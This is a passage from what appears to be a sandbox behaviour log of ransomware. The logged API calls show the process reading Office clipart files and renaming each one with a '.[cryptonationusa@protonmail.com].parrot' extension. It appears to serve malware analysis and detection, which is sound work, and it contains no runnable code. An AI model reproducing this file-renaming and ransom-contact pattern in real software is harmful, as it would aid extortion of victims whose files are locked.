| out: lpNewFilePointer=0x0) returned 1 [0163.763] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc5a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xc5a, lpOverlapped=0x0) returned 1 [0163.764] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.764] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18223_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18223_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18223_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18223_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.766] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.766] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.766] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0163.768] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.768] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.769] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.769] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x680, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x680, lpOverlapped=0x0) returned 1 [0163.769] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.770] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18224_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18224_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18224_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18224_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af250 | out: hHeap=0x5b0000) returned 1 [0163.774] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.774] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.775] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.775] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd10, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd10, lpOverlapped=0x0) returned 1 [0163.775] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.776] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18225_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18225_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18225_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18225_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0163.779] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.779] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.781] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.781] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7b4, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7b4, lpOverlapped=0x0) returned 1 [0163.781] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.781] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18226_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18226_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18226_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18226_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.783] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.783] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.783] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0163.785] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.785] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.787] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.787] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xdec, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xdec, lpOverlapped=0x0) returned 1 [0163.787] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.787] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18227_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18227_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18227_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18227_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.789] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.789] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.789] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0163.791] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.791] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.842] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.842] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x884, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x884, lpOverlapped=0x0) returned 1 [0163.843] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.843] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18228_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18228_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18228_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18228_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0163.890] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.890] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.892] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.892] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7e4, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7e4, lpOverlapped=0x0) returned 1 [0163.892] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.893] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18229_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18229_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18229_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18229_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.895] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.895] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.895] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0163.897] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.898] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.899] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.899] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x724, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x724, lpOverlapped=0x0) returned 1 [0163.900] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.900] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18230_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18230_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18230_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18230_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.903] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.903] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.903] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0163.905] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.905] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.906] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.906] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x67c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x67c, lpOverlapped=0x0) returned 1 [0163.907] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.907] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18231_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18231_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18231_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18231_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af250 | out: hHeap=0x5b0000) returned 1 [0163.911] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.911] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0163.913] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.913] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x66c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x66c, lpOverlapped=0x0) returned 1 [0163.913] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.914] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18232_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18232_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18232_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18232_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.915] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0163.915] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.916] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af250 | out: hHeap=0x5b0000) returned 1 [0164.073] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.073] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.074] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.074] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x64c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x64c, lpOverlapped=0x0) returned 1 [0164.075] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.075] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18233_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18233_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18233_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18233_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0164.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af250 | out: hHeap=0x5b0000) returned 1 [0164.098] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.098] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.099] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.100] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x754, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x754, lpOverlapped=0x0) returned 1 [0164.100] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.100] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18234_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18234_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18234_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.103] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0164.103] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.103] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0164.105] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.105] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.145] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.146] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x73c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x73c, lpOverlapped=0x0) returned 1 [0164.146] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.147] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18235_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18235_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18235_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18235_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.149] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0164.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0164.151] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.152] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.153] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.153] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6d4, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6d4, lpOverlapped=0x0) returned 1 [0164.154] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.154] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18236_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18236_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18236_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18236_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.156] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0164.156] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.156] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0164.158] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.159] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.160] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.160] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5fc, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, 